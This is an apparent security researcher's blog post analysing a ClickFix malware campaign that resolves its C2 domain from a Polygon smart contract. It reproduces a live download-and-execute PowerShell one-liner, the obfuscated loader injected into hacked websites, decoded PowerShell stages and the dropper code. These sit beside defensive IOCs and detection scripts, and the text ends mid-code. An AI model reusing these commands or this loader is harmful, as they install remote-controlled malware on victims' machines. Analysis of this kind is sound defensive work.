Reading the ledger: how one Polygon smart contract exposed three ClickFix crews and 153 confirmed hacked websites
A ClickFix DLL side-load traced through a Polygon smart contract (EtherHiding) to 18 C2 domains and 153 confirmed hacked sites across three operators.
The views and opinions expressed in this post are my own and do not represent those of my employer. This is a personal blog where I share research and things I’m learning.
A note on the numbers before anything else
Every count in this post - candidates, confirmed sites, everything - was captured in a single continuous session between 2026-07-08 21:08 UTC and 21:28 UTC. This is an active, ongoing campaign, not a fixed historical fact: re-running the same queries even a few hours apart during this investigation showed the candidate pool grow (one operator’s count moved from 815 to 847 in under three hours). Treat every number below as a floor that was true at the timestamp above, not a permanent count. The full, unabridged evidence behind that snapshot - every script, every raw output, nothing truncated - is linked at the end of the relevant section and in the IOCs.
TL;DR
A ClickFix lure on a compromised WordPress art-gallery site led to a five-stage PowerShell chain, a DLL side-load, and a 27 MB trojanised
cmutil.dllhiding a 738 KB encrypted implant. The interesting part wasn’t the malware - it was that the command-and-control domain isn’t hardcoded anywhere. It’s read live from a Polygon smart contract (0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2) - a technique called EtherHiding. That contract turned out to be the exact same one behind my PuppetKing / StealC writeup from two weeks earlier, and reading its full on-chain history exposed 18 rotating C2 domains. A first pass put the candidate list at 555 sites with 78 confirmed live; re-running the same API queries properly (a pagination bug had silently capped every domain search at one page) corrected that to 984 candidates across three separate operators sharing the same kit, with 153 independently re-verified as still actively injecting as of the timestamp above.If this is your fleet, do these first:
- Enable PowerShell Script Block Logging (Event ID 4104) - every one of the seven XOR layers gets logged in cleartext before it runs.
- Alert on any
cmutil.dllloading from outsideSystem32, especially over 1 MB or unsigned (Sysmon Event ID 7).- Block
authorization-cdn-press-enter[.]infoand178.16.52[.]101, and flag browser-originatedeth_callPOSTs to public Polygon RPC endpoints - that combination is rare enough to alert on outright.Full IOCs and detection rules are at the bottom.
A one-liner, an art gallery, and a rabbit hole
The signal that started this was about as boring as they come: powershell.exe, hidden window, pulling a script off the internet and running it in memory.
1
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h "iex(irm 'authorization-cdn-press-enter[.]info/de5a62ef8e789a05' -UseBasicParsing)"
You’ve seen a hundred of these. iex(irm ...) - download a string, execute it, done. The interesting part, as usual, wasn’t the command - it was how the user got it. They’d been on the website of a legitimate Polish art gallery, labiennale[.]art[.]pl, and the page had told them to paste this into a Run box to “verify” themselves. Classic ClickFix: the fake CAPTCHA / “confirm you’re human” trick that’s been the dominant initial-access play for well over a year now. No attachment, no exploit, no macro. The user types the malware in themselves.
I’ve pulled apart a lot of ClickFix chains at this point. What made this one worth a weekend was where it went once I stopped looking at the PowerShell and started looking at the website. This campaign doesn’t hardcode its command-and-control server anywhere. It reads it out of a smart contract on the Polygon blockchain. And that one design decision - meant to make the operators takedown-proof - is exactly what let me walk backwards from a single victim’s one-liner to eighteen rotating C2 domains, nearly a thousand potentially compromised websites (well over a hundred confirmed), and three separate operators sharing the same toolkit. One of whom, it turned out, I’d already written about without knowing it. One of the others I only found because I went back to re-validate my own numbers before this went out.
Defender quick reference
| Field | Details |
|---|---|
| Activity type | ClickFix loader -> DLL side-load -> encrypted native implant |
| Primary artifacts | cmtp_86x.exe, cmutil.dll (27 MB, unsigned), xdv_sess cookie, authorization-cdn-press-enter[.]info, 178.16.52[.]101 |
| Verdict | Malicious |
| Confidence | High for delivery chain, C2 mechanism, and wallet-based attribution; unresolved for the inner implant’s exact capability - it’s encrypted and the key wasn’t recovered statically |
| Key logs | PowerShell Script Block Logging (4104), Sysmon Image Load (7), Process Creation (4688), proxy/DNS |
| ATT&CK | T1584.004, T1189, T1204.004, T1059.001/.007, T1102.001, T1140, T1027/.001, T1620, T1574.002, T1497.003, T1071.001, T1105 |
| First defender actions | Isolate any host that ran the paste; capture memory before killing the process (the decrypted implant only ever exists in RAM); block the C2 IP/domain; sweep the fleet for cmutil.dll outside System32 |
| Detection opportunities | YARA + Sigma in the companion repo (below); a brute-force XOR checker for your own web properties if you run WordPress/CMS at scale |
| False-positive notes | None known. The injected loader’s shape - atob( + a byte-XOR loop + new Function(new TextDecoder()...) next to a Polygon RPC hostname - is distinctive enough that a hit on your own site is actionable, not noise |
The attack at a glance
- Compromised website - a legitimate site (here, a WordPress art gallery) has a small, uniquely-obfuscated
<script>injected into its pages. - Blockchain C2 resolution (EtherHiding) - that script makes a read-only call to a Polygon smart contract to fetch the current C2 domain. The domain is never present in the page source.
- Token minting - it loads
<C2>/api.php?s=<site-id>, which mints a one-time, per-victim token server-side and renders the fake “verification” overlay with the copy-paste command baked in. - ClickFix paste - the victim runs
powershell -w h "iex(irm '<C2>/<token>')". - Five-stage PowerShell chain - a run of XOR’d character arrays and a reflection trick peel down to a dropper. Each layer uses a different single-byte key.
- Dropper - sleeps, downloads a legitimate 7-Zip binary plus an 8 MB ZIP, extracts, and runs the payload.
- DLL side-loading - the ZIP holds a signed-looking launcher (
cmtp_86x.exe) plus a trojanised 27 MBcmutil.dllcarrying an encrypted native implant. - Install beacon - the dropper (not the implant - this part I directly observed) fires a one-shot beacon back to the C2 host once
cmtp_86x.exeis running; thenoreply suggests the server is built to poll for queued tasks, but what the decrypted implant itself does afterward wasn’t observed.
Eight steps, and the C2 address for the whole chain lives on a public blockchain where anyone - including me - can read it for free.
How it works
Stage 0 - the injected lure (and the site that wouldn’t show it to me)
I have to be upfront about something before I show you this code: labiennale[.]art[.]pl never actually served me the injected lure. It’s victim-gated - by geo, referrer, UA, or first-visit cookie, I never confirmed which - and every direct fetch from my analysis host came back clean. That’s a genuine dead end, and I’m not going to paper over it.
The visual itself I did catch, though - just not from labiennale[.]art[.]pl. One of the other confirmed-injecting sites in the pool below rendered it long enough to capture, domain and URL redacted:
Captured from one of the confirmed-injecting sites, not labiennale[.]art[.]pl itself, domain redacted.
The skin isn’t fixed either - here’s another variation seen across the campaign:
Another variation commonly seen.
What I can show you is the mechanism, confirmed independently and repeatedly later on, once I had a way to brute-force it (more on that below). The outer wrapper looks like this on every site I did manage to catch it on:
1
2
3
4
5
6
7
8
// Outer wrapper -- the per-site key is different on every compromised host
!function(){
var e = atob('GFZFXlNEWV9eGBlLWVYYR1leVF9HaxdvVAQ...'), // base64 blob, unique per site
k = 48, // XOR key -- I've seen 20, 43, 48, 53, 73, 80
d = new Uint8Array(e.length);
for (var i = 0; i < e.length; i++) d[i] = e.charCodeAt(i) ^ k;
(new Function(new TextDecoder().decode(d)))(); // decode -> eval
}();
That XOR key being per-site is the first thing worth knowing if you’re writing a detection. When I later verified hundreds of these sites, the key rotated (20, 43, 48, 53, 73, 80…), the variable names were randomised, and the run-once guard variable was randomised too. Each victim site gets a uniquely-scrambled copy of the same script. A static signature on the encoded blob catches one site and misses the rest - you have to signature the shape of the loader, or decode it first.
Peel that layer off and the real logic falls out. This part I did capture directly, from a live compromised token gate rather than the gallery:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
(function () {
if (window['_d446a81607']) return; // run-once guard (site-specific hex)
window['_d446a81607'] = 1;
var siteId = "a3946e3ded820e3d2f02885bf63c8a3a176d58bb9403b402"; // 48-hex ID for this victim site
var rpcs = [ // public Polygon RPC endpoints, tried in order (8 in this capture)
"https://1rpc.io/matic", "https://rpc.ankr.com/polygon",
"https://rpc-mainnet.matic.quiknode.pro", "https://polygon-bor-rpc.publicnode.com",
"https://polygon-public.nodies.app", "https://polygon.gateway.tenderly.co",
"https://polygon-mainnet.public.blastapi.io", "https://polygon.drpc.org"
];
var contract = "0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2";
var selector = "b68d1809"; // eth_call selector: "give me the current C2"
// ... tries each RPC in turn with an eth_call, ABI-decodes the returned string ...
function loadC2(c2) {
var s = document.createElement('script');
s.src = c2 + '/api.php?s=' + siteId + '&_v=' + Math.floor(Date.now() / 60000);
(document.head || document.body).appendChild(s);
}
})();
No C2 domain anywhere in that. Just a contract address and a promise that the blockchain will say where to go.
One correction while I’m being precise about everything else: I originally described this as a fixed 8-endpoint list. It isn’t. Spot-checking confirmed sites during the re-validation, several carried longer lists with RPC hosts not shown above - polygon.therpc.io, polygon.rpc.hypersync.xyz, polygon.lava.build, polygon.rpc.subquery.network/public among them. The failover shape (try public Polygon RPCs in sequence) is constant; the exact list, like the XOR key and guard variable, is not.
Stage 1 - EtherHiding: pulling C2 out of a smart contract
The tell was the RPC list. Eight URLs to public Polygon nodes, a 40-character hex string that looked exactly like an Ethereum contract address, and another 8-character hex string sitting next to a variable literally called selector - none of that belongs in a drive-by loader unless the loader is talking to a blockchain on purpose. I’d seen the shape before, in a case I’d worked a couple of weeks earlier, and recognizing it saved me from spending an evening treating those RPC hostnames as some kind of exotic CDN.
This has a name - EtherHiding - and it’s the cleverest part of the whole operation. Instead of baking the C2 domain into the malware, where a takedown kills it, the operators store the domain in a smart contract on Polygon. The injected script makes a standard eth_call - a free, read-only smart-contract query - to fetch it. If a domain gets burned, the operators push one blockchain transaction to update the stored value, and every compromised site on earth instantly points at the new infrastructure. No re-infection needed. You can’t take down a read from a public blockchain, and you can’t easily block the RPC endpoints because they’re the same ones every legitimate web3 app uses.
The neat thing for a defender is that this cuts both ways. It’s public. The exact call the malware makes, I can make too, with no wallet, no API key, and no victim status required:
1
2
3
curl -s -X POST -H 'Content-Type: application/json' \
--data '{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2","data":"0xb68d1809"},"latest"],"id":1}' \
https://polygon.drpc.org
The reply is ABI-encoded, not plain text - Solidity packs a returned string as three parts: a 32-byte offset (almost always 0x20, “the data starts right after this word”), a 32-byte length, then the UTF-8 bytes themselves, zero-padded out to a multiple of 32 bytes. You have to unpack that before you get a domain name out of it. Conveniently, I didn’t have to write a decoder - the malware already ships one, in the injected loader’s _kdhd function. It’s a dozen lines of JavaScript that do exactly this offset/length/bytes unpacking. Here’s the same logic as a one-liner, so you can run the whole thing end to end without a browser:
1
2
3
4
5
6
7
RESULT=$(curl -s -X POST -H 'Content-Type: application/json' \
--data '{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2","data":"0xb68d1809"},"latest"],"id":1}' \
https://polygon.drpc.org | jq -r .result)
HEX=${RESULT#0x} # drop the 0x prefix
LEN=$((16#${HEX:64:64})) # second 32-byte word = string length, in bytes
echo "${HEX:128:$((LEN*2))}" | xxd -r -p # data starts at byte 64; print it as text
1
>>> hxxps://authorization-cdn-press-enter[.]info
There it is. The live C2, straight from the ledger, unpacked with the same ABI logic the malware itself uses.
Stage 2 - one victim, one token
Once the script has the C2, it loads <C2>/api.php?s=<site-id>&_v=<minute>. That api.php is the brains of the server side, and I reversed how it behaves by poking the live server - fetching to disk only, never running anything:
| Test | Result | What it tells you |
|---|---|---|
| Fetch a made-up 16-hex token | 404 | Tokens are pre-registered server-side, not generated on demand |
| Re-fetch a live token twice | Byte-identical | Content is deterministic per token while it’s valid |
| Fetch a token after it aged 30-60 minutes | 404 | Tokens are short-TTL - burned after use or a short window |
/<token> vs /<token>?_=1 | Different content | The server tracks per-token progression state |
So api.php mints a fresh, single-use, short-lived token on every page load, stamps it into the paste as the “Verification ID”, and serves the staged chain only for that token. It’s a tidy anti-analyst measure: grab a command off one victim’s screen and by the time you try it, it’s already dead. That’s exactly what happened to me on the first pass - my original token was already dead by the time I tried it, and I only got a live capture because I went back to the site and refreshed the lure myself to grab a fresh token before that one expired too.
Two infrastructures, doing two different jobs
Worth pausing on what’s actually hosting all of this, because there are two completely different kinds of infrastructure doing two different jobs, and it’s easy to conflate them.
The delivery layer is other people’s infrastructure. labiennale[.]art[.]pl is a real, otherwise-unremarkable WordPress install on Apache, serving an actual art gallery, with nothing about its hosting that looks operator-controlled - because it isn’t. It’s a victim, same in kind as the 851 candidates in the pool below - though worth being precise here too: labiennale[.]art[.]pl itself isn’t one of those 851. It was victim-gated and never served the injection to urlscan’s own scanner either, so the domain: search methodology that built that candidate list never picked it up - it’s known compromised only because I visited it directly. Same story, separate evidence trail. The operator doesn’t own any of this infrastructure or administer it, just injects into it.
The C2 layer is purpose-built, and it shows. authorization-cdn-press-enter[.]info sits on 178.16.52[.]101 - nginx, on a /24 registered to Omegatech LTD out of Frankfurt, a small hosting outfit with the tight-IP-block, minimal-footprint profile that’s common on dedicated malware infrastructure and unusual on anything else. That’s the one thing every domain in the 23-call rotation history has shared: the domain name burns every week or two, the IP hasn’t moved once.
Stage 3 - five PowerShell layers, one key each
With a live token, iex(irm ...) pulls stage one: a character array XOR’d with a single byte.
1
2
3
# Stage 1 -- key 44, served at /<token>
$r7b79 = @(8,92,25,29,29,77,17,1,70,67,69,66,4,108, ...)
iex(-join($r7b79 | %{ [char]($_ -bxor 44) }))
The real file is messier than that trimmed version suggests: the array is actually built across a dozen += lines, and sitting alongside it are variables like $k0fb8, $k7807, and $k6d44 that get computed from arbitrary numbers, occasionally fed into an if that never fires, and never touch the decode at all. Dead code, there purely to make the script look busier than it is.
That decodes to stage two, which builds a URL with its own key (52) and pulls the next layer via the ?_=1 gate:
1
2
3
4
# Stage 2 -- key 52 builds the URL, then downloads + executes the gated stage
$p511a = -join(@(92,64,64,68,14, ...) | %{ [char]($_ -bxor 52) }) # -> .../<token>?_=1
$qc6c5 = New-Object ('Net.W'+'ebClient')
iex($qc6c5.('Down'+'loadString')($p511a))
Stage three, served at <token>?_=1 and still wrapped in the fake “Verification ID” comment, is another plain char-array decode - same shape as stage one, just a much bigger array (over a thousand numbers in the copy I captured) and a different key:
1
2
3
# Stage 3 -- key 114, served at <token>?_=1
<#Verification ID: 04a9b85baebfa6e8#> $pg = -join(@(120,86,24,16,64,69,67,20,79,74,64,65,73, ...) | %{ [char]($_ -bxor 114) })
iex($pg)
Stage four is where it gets a little more interesting. Rather than write [Convert]::FromBase64String - a string every AMSI signature knows - it reaches the method by reflection, with the type and method names themselves XOR’d with their own key (85):
1
2
3
4
5
6
# Stage 4 -- reach Convert.FromBase64String by reflection (names XOR 85), decode the Base64 blob, XOR 69, run it
$zcc73f = ''.GetType().Assembly # mscorlib, reached via a chained property instead of a literal name
$z3927f = $zcc73f.GetType(-join(@(6,44,38,33,48,56,123,22,58,59,35,48,39,33) | %{ [char]($_ -bxor 85) })) # -> "System.Convert"
$z71f6c = $z3927f.GetMethod(-join(@(19,39,58,56,23,52,38,48,99,97,6,33,39,60,59,50) | %{ [char]($_ -bxor 85) }), [type[]]@([string])) # -> "FromBase64String"
$w1e144 = -join($z71f6c.Invoke($null,[array]$vb3jmz) | %{ [char]($_ -bxor 69) })
iex($w1e144) # -> the dropper
This stage carries the same dead-code trick as stage one, plus a nastier variant of it: fake progress comments dropped right next to the junk math - <# runtime:306 #>, <# index:823 #> - that read like the script is reporting real internal state. It isn’t. Both numbers come from the same unused variables. It’s theatre for whoever’s eyeballing the source, human or heuristic.
Count them: 44 -> 52 -> 114 -> 69, plus 85 for the reflected names, plus the dropper’s own three keys below. Seven different single-byte keys in one chain. None of it is cryptographically meaningful - it’s noise to break signatures and slow down analysts. Peel one, re-identify what you’ve got, peel the next.
If you catch a similar chain in the wild, you don’t need PowerShell to unwrap it, and you definitely don’t need to run it. Every layer here has the identical shape - one array literal, or several concatenated with +=, piped through [char]($_ -bxor KEY). Pull the numbers out and XOR them yourself, entirely offline:
1
2
3
4
5
6
7
8
9
10
11
12
import re
def decode_chain_stage(raw_text, key):
# Grabs every @(...) array in the text - handles both a single array and
# the multi-part `+=` concatenation style - and XORs the numbers with the
# stage's key. Never touches iex, never runs anything.
arrays = re.findall(r'@\(([^)]*)\)', raw_text)
nums = [int(n) for group in arrays for n in group.split(',') if n.strip().lstrip('-').isdigit()]
return ''.join(chr(n ^ key) for n in nums)
with open('captured_stage1.txt') as f:
print(decode_chain_stage(f.read(), 44)) # swap the key per stage
The even quicker way, if you’re already on the box: copy the fetched text into a PowerShell session and change the final iex(...) to just the decoded variable name (or pipe it to Out-File) before running anything. That one substitution is the whole trick - the malware trusts that whatever comes out of the XOR is safe to hand straight to iex, and nothing stops you from reading it instead.
Stage 4 - the dropper
By the time I’d peeled four layers off, I expected something dramatic at the bottom - a shellcode stub, an obfuscated .NET loader, something that fought back. Instead the bottom of the PowerShell stack is a tidy little dropper that reads like a checklist. It sleeps 19 seconds - sandboxes get bored - then downloads two things: a legitimate standalone 7-Zip binary, and an 8 MB payload ZIP. Both URLs are, unsurprisingly, XOR’d character arrays. Nothing about this stage is clever on its own; the cleverness was all upstream, in getting to a point where the payload could arrive as boringly as possible.
1
2
3
4
5
6
7
8
9
Start-Sleep -Seconds 19 # anti-sandbox delay
$ua1ff7 = <XOR 12> # hxxp://authorization-cdn-press-enter[.]info/7z (real 7-Zip)
$u4158d = <XOR 14> # hxxp://authorization-cdn-press-enter[.]info/<64-hex> (payload ZIP)
# ... download both to a random %TEMP% folder, 3 retries with a 2s backoff ...
& $z x -y -o$nd $a # extract with the real 7-Zip
Start-Process ([IO.Directory]::GetFiles($nd,'cmtp_86x.exe','AllDirectories')[0])
try { Start-Sleep 3; [IO.File]::Delete($a) } catch {} # delete the zip (cleanup)
$u160e5 = <XOR 63> # hxxp://authorization-cdn-press-enter[.]info/p/<64-hex> (install beacon)
[void]$wc.DownloadString($u160e5) # fire-and-forget
Bringing a real, signed 7-Zip along to unpack your own payload is a small, cynical touch I have to respect. The extraction step never looks like malware, because it isn’t.
Stage 5 - the DLL side-load and its 27-megabyte disguise
The ZIP holds three files: cmtp_86x.exe (80 KB), cmutil.dll (a chunky 27 MB), and a decoy VERSION.txt. This is textbook DLL side-loading: cmtp_86x.exe imports functions from cmutil.dll, and cmutil.dll - which shares its name with a real Microsoft Connection Manager library - has been trojanised while keeping the legitimate exports intact so the launcher loads it happily.
The export table - all 14 names, pulled directly from the PE export directory - gives the game away:
1
2
3
4
5
CmFree, CmMalloc, CmRealloc, GetOSMajorVersion, <- real Microsoft exports (kept)
SzToWzWithAlloc, WzToSzWithAlloc, GetOSVersion
curl_easy_cleanup, curl_easy_init, <- names only, see below
curl_easy_setopt, curl_easy_perform,
qrclfw1_nom08o, t3cclj_t58rlx, ygeui0_ew9f94 <- the malicious additions
One honest correction to my first read of this: those curl_easy_* entries exist only in the export name table. There’s no actual libcurl anywhere in the binary - no CURL, Schannel, User-Agent, or HTTP/1.1 strings in the whole 27 MB. So they’re best read as decoy export names, not evidence of a statically-linked HTTP stack. Whatever transport the implant really uses lives inside the encrypted blob I couldn’t crack open. An export name is a label the author chose, not proof of the code behind it - worth remembering next time a PE’s export table looks a little too convenient.
So why 27 MB? Because about 26 of them are garbage. One section is filled with word-salad natural-language text - real English words strung into nonsense - padding the file well past the size limit most automated scanners and sandboxes enforce. Entropy on that section sits at a sleepy 4.6; it’s not encrypted, it’s filler. The dropped trio also carries decoy JSON-looking config tokens (window_metric, threshold_window) scattered through it for good measure.
The side-load itself fits the broader pattern of LOLBins and living-off-the-land tradecraft, where a trusted-looking, signed-adjacent component name is repurposed to get an unsigned payload past controls that trust the launcher rather than inspecting what it actually loads.
Stage 6 - the encrypted inner payload
The actual payload is a single 738 KB blob elsewhere in the file, base64-encoded inside the binary. Decoded, it’s 738,027 bytes at entropy 8.00 - as close to pure ciphertext as data gets. No AES S-box anywhere nearby, so it’s either AES-NI (hardware-accelerated, no visible table) or a custom cipher. I could not recover the decryption key statically; it lives in native code and would need a proper disassembly pass or a live memory dump of a detonated sample to pull out.
I’ll be honest about where this leaves things: I don’t know exactly what the inner implant does. What I can say is that the delivery chain, the C2 infrastructure, and the beacon protocol are all identical in shape to a separate case I’d worked a few days earlier - a DLL called protobuf.dll, on the same IP, using the same URL scheme, whose inner payload turned out to be an AES-256-GCM, fixed-key native RAT/stealer talking OpenSSL TLS. That’s a reasonable basis for a hypothesis, not a confirmed fact about this sample. The beacon behaviour is consistent with the same family: my install beacon to /p/<64-hex> got back a plain no, which reads as a task-polling C2 replying “nothing queued for you right now.”
Techniques observed (MITRE ATT&CK)
The following techniques have been mapped to MITRE ATT&CK for future reference.
| Tactic | Technique | ATT&CK ID | What it did here |
|---|---|---|---|
| Resource Development | Compromise Infrastructure | T1584.004 | Hundreds of legitimate CMS sites injected as delivery infrastructure |
| Initial Access | Drive-by Compromise | T1189 | Injected script served from the compromised site |
| Execution | User Execution: Malicious Copy/Paste | T1204.004 | Victim pastes powershell iex(irm ...) into Run |
| Execution | PowerShell | T1059.001 | Five-stage XOR/reflection loader chain |
| Execution | JavaScript | T1059.007 | Injected browser loader and blockchain resolver |
| Command and Control | Web Service: Dead Drop Resolver | T1102.001 | C2 domain resolved from a Polygon smart contract (EtherHiding) |
| Defense Evasion | Deobfuscate/Decode Files or Information | T1140 | Seven single-byte XOR keys plus reflection plus base64 |
| Defense Evasion | Obfuscated Files: Software Packing / bloat | T1027 / T1027.001 | 26 MB word-salad filler to beat size-limited scanners |
| Defense Evasion | Reflective Code Loading | T1620 | Reflection loader; in-memory native implant decryption |
| Defense Evasion | Hijack Execution Flow: DLL Side-Loading | T1574.002 | cmtp_86x.exe side-loads the trojanised cmutil.dll |
| Defense Evasion | Virtualization/Sandbox Evasion: Time Based | T1497.003 | 19-second sleep; short-lived per-victim tokens |
| Command and Control | Application Layer Protocol: Web | T1071.001 | Install beacon and task-poll to /p/<hash> |
| Command and Control | Ingress Tool Transfer | T1105 | 7-Zip and payload ZIP pulled from the C2 |
Why this matters
The entry vector is someone typing in a command. There’s no attachment for your mail gateway to strip, no exploit to patch, no file with a mark-of-the-web to enforce. You cannot patch copy-paste.
The payload is also a deliberately moving target. What lands on disk is a legitimate 7-Zip binary and a DLL that’s 96 percent filler; the real implant is encrypted, decrypted only in memory, and whatever the operator decides to push that day - infostealer, loader, full RAT - is what runs. And the delivery layer is genuinely resilient: sinkhole a C2 domain and the operator restores service with a single blockchain transaction that touches none of the victim sites.
The upside is that the resilient part is also transparent. The control plane is a public ledger. If prevention on the host holds, the cleverness upstream lands on nothing - and the ledger will happily tell a defender where the operator is going next.
The pivot: how a blockchain C2 unravels a whole campaign
This is where the EtherHiding design backfires on the operators, and where a single victim’s paste turned into a campaign map.
The contract is a fixed point
Once I had the mechanism nailed down, the obvious next question was whether I could learn anything by reading the contract’s history instead of just its current value. C2 domains rotate; the contract address in the injected script does not. That’s the whole reason to look: a domain gives you one data point, a contract address gives you a ledger. I looked it up on Blockscout, Polygon’s block explorer, rather than eyeballing the UI - the explorer exposes a REST API that hands back decoded calldata directly:
1
2
curl -s "https://polygon.blockscout.com/api/v2/addresses/0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2/transactions?filter=to" \
| jq -r '.items[] | select(.method=="updateDomain") | [.timestamp, .decoded_input.parameters[0].value] | @tsv'
That returns every updateDomain(string newDomain) call against the contract, decoded, timestamped, no manual parsing required. The contract was created on 5 June 2026 and has taken 23 such calls since - occasional rapid-fire bursts (six updates inside two hours on 17 June, four across two days on 1-2 July) rather than a strict cadence, but roughly one every day or two - all from a single wallet, 0xCaf2C54E400437da717cF215181B170F65187aBf. Each transaction carries the new C2 domain in its input data, in cleartext, forever. The blockchain is an immutable log of every C2 this operator has ever used:
| Date (2026) | C2 domain |
|---|---|
| Jul 06 | authorization-cdn-press-enter[.]info (the one I started with) |
| Jul 04 | authorization-code[.]beer / authorization-id-code[.]info |
| Jul 01-02 | codeverificatrorcl[.]info / authorization-code[.]info (flip-flopped between these twice within hours) |
| Jun 29 | idverification-cdn[.]info |
| Jun 24 | verificationscodes[.]beer |
| Jun 23 | code.verification-claude-cdn[.]beer |
| Jun 22 | claudverification-id[.]beer |
| Jun 20 | idverification-code[.]beer |
| Jun 18 | codecerification[.]beer |
| Jun 17 | code-verification-js[.]beer / verification-code-js[.]beer (six updates inside about two hours) |
| Jun 15 | svs-verificationdate[.]beer |
| Jun 12 | verification-js-cdn[.]boats |
| Jun 11 | framework-css-styles-js[.]beer |
| Jun 09 | ethercdnns[.]beer |
| Jun 05 | xdavnode[.]pro (set in the contract constructor - the first domain, before any updateDomain call) |
Eighteen domains total, and I stopped cold on two of them: code-verification-js[.]beer and code.verification-claude-cdn[.]beer. I’d already written those up. On 25 June I published Five layers deep for a stealer: reversing the “PuppetKing” ClickFix chain that ended in StealC - and the contract address in that post is the exact same one: 0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2. Same wallet. Same kit. I had already published half of this operator’s infrastructure without knowing there was more to it, because at the time I only had the one C2 domain I’d caught in the act. The blockchain drew a line between two incidents I’d filed as separate that the malware alone never could have.
That’s also a useful, humbling data point about this operator’s tempo: between the PuppetKing capture (23 June C2) and this one (6 July C2), they rotated domains five more times. This contract has been running continuously since early June, delivering at least two different final payloads - StealC v2 back in June, this DLL side-load chain now - through the same blockchain-resolved front door.
Historical domains find historical victims
This part has two genuinely separate methodologies stacked on top of each other, and I want to keep them separate on purpose - one is retrospective and passive, the other is live and active, and they carry different weight as evidence.
Step 1 - build a candidate list from historical scan data. Each of the 18 domains is a search term against urlscan.io’s Search API - a public database of submitted page scans, queryable anonymously for basic queries. This ran as direct API calls, not the web UI search box:
1
2
curl -s "https://urlscan.io/api/v1/search/?q=domain:authorization-cdn-press-enter.info&size=100" \
| jq -r '.results[].page.domain' | sort -u
Repeat once per domain in the rotation table above. If a domain has more than 100 hits, urlscan’s API paginates with a search_after parameter seeded from the sort value on the last result of the previous page.
I want to be exact about what a single hit here actually proves, because it’s carrying a lot of weight in this post: at some point in the past, urlscan indexed a scan of the result’s page, and during that scan the browser made at least one request to the queried C2 domain. That is the entire evidentiary content of one hit. It does not by itself establish that the result’s site is compromised right now, when the association happened, or whether it’s still true today - only that it was observed once, at scan time.
A correction that changes the headline numbers. I originally reported 477 candidate sites for this operator, built from a single page of results per domain. That number was wrong, and finding out why is worth walking through, because it’s a mistake anyone running this same query will make unless they check for it. Each search response includes a has_more field, and my original script - like most people’s first pagination attempt - trusted it: if not has_more: stop. Wanting to confirm these findings end to end before publishing, I reran the query for verificationscodes[.]beer and got "total": 636, "has_more": false with only 100 results returned. Six hundred and thirty-six total matches, flagged as having no more pages, after a hundred. That’s not “no more results” - that’s a broken flag. I tested it directly: fed the last result’s sort value back in via search_after anyway, ignoring has_more entirely, and got a second page of 100 new hostnames I’d never have seen. The field is not reliable on this account tier. Pagination has to be driven by “did I get a full page back,” not by what the API claims:
1
2
3
4
5
6
7
8
9
10
11
# Correct pagination: ignore has_more, keep paging while a full page comes back
# or until raw results fetched >= the reported total.
search_after = None
hosts = set()
while True:
data = fetch(domain, search_after) # domain:<x>&size=100[&search_after=...]
for r in data["results"]:
hosts.add(r["page"]["domain"])
if len(data["results"]) < 100:
break # partial page = genuinely done
search_after = ",".join(str(s) for s in data["results"][-1]["sort"])
Re-running all 18 domain searches with that fix - and then subtracting the 18 C2 domains themselves, which trivially match their own domain: query and aren’t victims - moved this operator’s candidate count from 477 to 815. Every single one of the original 477 is still present in the corrected list; nothing dropped out. That rules out “urlscan indexed more pages since the original pass” as the explanation - two days isn’t enough time for a domain to pick up hundreds of new historical scan hits. The honest explanation is the boring one: the original pass, like my first re-run attempt, silently stopped after page one on every domain that had more to give.
That 815 figure moved again, and I want to be upfront about exactly why rather than just quietly publishing a bigger number. A few hours after fixing the pagination bug, re-running the exact same corrected script against the exact same 18 domains returned 847, not 815 - genuine growth in urlscan’s index over a few hours, not another bug. That told me a single-pass “corrected” number still wasn’t a stable thing to publish, so the final figures in this post - 851 candidates for this operator, 984 across all three combined - come from a single, continuous ~20-minute session run end to end: candidate search, self-match filtering, and all three live verification passes, back to back, so every number below describes the same moment rather than numbers stitched together from runs hours or days apart. That session is timestamped and fully captured - every script, every raw API response, nothing truncated - in revalidation-2026-07-08-full/ in the companion repo. If you re-run the same queries later and get a different (probably larger) number, that’s not a discrepancy - it’s the expected behaviour of an active campaign against a continuously-growing scan index.
So to be precise: the 851-candidate figure below is built entirely from correctly-paginated domain: searches across all 18 historical C2s, deduplicated by the scanned page’s own hostname, with the 18 C2 domains themselves excluded, all captured in the single ~20-minute session described above.
Run all 18 domain searches with corrected pagination, dedupe by hostname, and drop the C2 domains themselves, and you land on 851 candidate sites: a hospital, an insurance broker, dental clinics, farms, construction firms, a topps.com subdomain. Mass, opportunistic CMS compromise, spread across every vertical you can name. At this point every one of the 851 is a candidate and nothing more - a lead pulled from a historical index, not a finding.
Step 2 - independently verify each candidate, live, right now. A historical scan record is a lead, not a fact. Sites get cleaned. Scans get taken mid-remediation. So I wrote a second, completely independent checker that fetches each of the 851 candidates directly, at the present moment, and looks for the injection live - this step doesn’t reuse or trust anything from urlscan’s data once the candidate list exists; it re-derives everything from a fresh HTTP response.
The naive version of that checker - grep the page source for one known XOR key - would have missed most of them, because the injection is polymorphic: every compromised site carries a uniquely-scrambled copy of the loader, with its own XOR key, its own variable names, its own run-once guard. A fixed single key found 28 sites on the first pass. Brute-forcing the key found 60. Here’s the core logic, trimmed of its threading and file-output boilerplate but otherwise exactly what ran:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import base64, re
ATOB = re.compile(r"atob\(['\"]([A-Za-z0-9+/=]{120,})['\"]\)")
GUARD = re.compile(r"window\['_[0-9a-f]{8,}'\]")
def is_kit(decoded):
d = decoded.lower()
hits = sum(x in d for x in ("polygon", "eth_call", "api.php"))
return (GUARD.search(decoded) is not None and hits >= 2) or ("api.php?s=" in d and "polygon" in d)
def check(host):
body = fetch(host) # plain GET, https then http, 15s timeout
for blob in ATOB.findall(body): # every atob('...') blob on the page
raw = base64.b64decode(blob + "=" * (-len(blob) % 4))
for key in range(256): # brute-force every single-byte key
